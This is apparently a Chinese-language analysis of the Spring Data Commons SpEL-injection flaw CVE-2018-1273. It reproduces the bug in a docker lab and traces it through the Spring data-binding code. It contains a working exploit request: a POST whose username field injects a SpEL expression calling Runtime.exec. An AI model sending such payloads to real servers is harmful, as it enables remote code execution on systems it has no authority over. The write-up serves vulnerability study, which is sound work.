漏洞背景:
最近Spring框架不大太平,接连爆出来多个RCE远程代码执行的CVE漏洞,其中有CVE-2018-1270,CVE-2018-1273,通过对造成漏洞部分代码进行分析,发现都是因为滥用SpEL的StandardEvaluationContext。
攻击者可以在未获得授权的情况下,将精心制作的请求参数注入到存在该漏洞的服务器上,从而发起远程代码执行攻击。
受影响的版本:
· Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
· Spring Data REST 2.6 – 2.6.10 (Ingalls SR10)
· Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
· Spring Data REST 3.0 – 3.0.5 (Kay SR5)
还有部分更早的版本
0x01:获取镜像源码
直接获取docker的漏洞环境,地址
https://github.com/1iK3/vulhub/tree/master/spring/CVE-2018-1273
执行docker-compose up –d启动镜像
然后访问http://localhost:8080/users即可进入漏洞页面
[
抓包post数据报文如下:
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“touch /tmp/z3r0s”)]=&password=&repeatedPassword=
执行docker-compose exec spring bash进入容器中,可以看到成功创建了/tmp/z3r0s文件
0x02: 调试分析
直接从docker中提取到了漏洞文件到本地,解压后倒入idea中打开。
发送如下payload:
从dispatchsevlet下断点,跟进程序的处理流程后,漏洞最终是在MethodReference中的updateExitTypeDescriptor触发:
完整的调用栈如下:
逐步跟进之后可以发现,首先获取了请求的register方法
从漏洞处罚后继续跟进后发现是通过bind中获取target来达到访问Controller的目的,漏洞的触发点是在创建bind的时候。所以从获取到register方法后开始一步步跟进
进入binder.bind开始调试,发现进入了dobind方法中在设置property时传入了payload:
进入applyPropertyValues中
在applyPropertyValues方法中,获取了PropertyAccessor后就调用了对象的setPropertyValues方法,在该方法中遍历property value然后进入setPropertyValue方法设置,
这里是一个接口方法,我们看一下有哪些实现类
在这里是MapDataBinder的内部类MapPropertyAccessor实现了方法,跟进下去:
在108行解析spel表达式,然后在129行调用了SpelExpression的setValue方法成功执行payload